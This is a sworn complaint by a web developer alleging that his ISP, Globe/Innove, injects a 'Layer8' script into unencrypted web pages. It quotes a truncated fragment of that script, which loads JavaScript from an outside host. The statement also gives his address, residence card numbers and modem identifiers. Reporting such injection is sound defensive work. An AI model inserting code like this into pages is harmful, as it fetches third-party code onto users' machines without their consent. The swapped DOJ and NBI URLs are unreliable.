Sworn statement Globe hacking websites

I, Gustaaf Hendrik Ellenkamp, born April 22, 1963 in Zwolle, The Netherlands, living in "The Malasag House", Malasag, Cugman, 9000 Cagayan de Oro City, Philippines, Dutch citizen, permanent resident of The Philippines under ACR number E 223495, Certificate of Residence number ICR-355714, swear that I believe that internet service provider, Innove Communications, Inc., a subsidiary of Globe Telecom, Inc., after this referred as Globe, is inserting malware or spyware scripts in virtually all non secure web pages I open in my house/office,. This I believe is a criminal offense.

 I have checked with a friend who is a lawyer and he presumed this is a criminal offense according to Philippine law (cybercrime) called hacking. I presume it also is copyright infringement for the owners of the affected websites I open through this Globe connection. These websites include the website of the Department of Justice (http://www.nbi.gov.ph/) and of the National bureau of Investigation (http://www.doj.gov.ph/), as I have found the script in these websites when using the Globe connection in my house.

I believe that the script at the bottom of many web pages I open through my Globe connection, including websites I own or manage for customers, is not part of these websites as sent by the web servers hosting those sites, as for websites I own or manage the script is not part of the website and when using other internet connections the script is not there. The script is as follows and it is inserted just before the ' </body>' tag, thus becoming in integral part of the specific web page:

<!-- Layer8 version 2.0.0.107 --><script>if(top==window){var
fn_selector_insertion_script="http://toolbar.mywebacceleration.com/tbpreload.js";runFnTbScript =

As far as I was able to determine this script must be inserted somewhere between hosting servers and my computer. I have carefully checked the websites I own or manage and I am sure the script is not part of the web pages of these sites when sent from the hosting server. I also checked my computers for viruses and malware to determine whether the script is being inserted by a virus or other means on my own computers and I found none. As the script contains the word Globe it is most likely that Globe is responsible for inserting this script.

My findings have been confirmed by other people using a similar internet connection from Globe, so I am not the only one experiencing this issue and the issue is not only related to the websites I own or manage or my computer or internet connection.

Being a web developer and being very familiar with websites, web hosting and web browsers I would call the above script malware or spyware. Websites I am responsible for have been hacked in a similar way in the past, making my hosting provider decide to block the affected sites. In my experience also Google will block sites with inserted scripts like this. As Google will never see the script as it is presumably inserted through Globe while passing through their infrastructure, websites will not be reported containing malware, meaning users won't be warned or aware of this malware or spyware.

I have investigated this issue thoroughly using different browsers, computers and other services and the above script is only inserted in websites when using the Globe connection available to me in my house.

Some more details:

1. I found the script is being inserted in virtually all non-secure websites I open through the Globe connection available to me just before the '</body>' tag.
2. The script must be inserted somewhere between web hosts and my router. Opening the same websites on different locations or with different internet connections doesn't show the script.
3. The internet modem details are:
   a. Brand: HUAWEI.
   b. Model: B593S-22
   c. IMEI number: 860091021101447.
   d. S/N: S27Z7SA9390400963.
   e. Connection type: Tattoo@home.
   f. IP address: 10.184.9.98.
   g. A sticker on the modem indicates the modem is property of Globe.
4. The modem is provided as a replacement of another modem, which was disconnected by Globe without reason.
5. I remember the connection through the previous modem having a similar issue but I cannot verify that as the connection was disabled by Globe.
6. Details of the previous modem:
   a. Brand; HUAWEI.
   b. Model: BM622i.
   c. MAC: 285FDB283E10.
   d. S/N: 500810118104028713.
   e. Connection type: WIMAX.

Please note that this alleged hacking apparently is being done within the Globe infrastructure in real time and that the result is only visible in real time through connections and in websites where Globe decides to insert the script, not on the internet in general. This means evidence is only available on location and in real time. For this reason it cannot be retained. Internet research confirmed my findings, including a statement from Globe being aware of this script.

As I believe this is a very serious issue of invasion of privacy and breach of trust of the internet industry, as a renowned company Globe Telecom, Inc. is involved, I would kindly ask you to investigate this issue and take appropriate measures. If we can't trust companies like Globe Telecom, Inc. anymore to just deliver internet content as provided by the sender, who can we trust? And if my internet service provider is changing web pages, is he also changing my e-mails, either the e-mails I am sending or the ones I receive?

I am reporting this as a concerned website owner, a concerned website developer and a concerned citizen, not as a customer of Innove Communications, Inc. As indicated in earlier communication to the NBI and the DOJ I am willing to cooperate to stop these practices that I presume to be criminal, and provide you with everything you may need for your investigations or other actions.
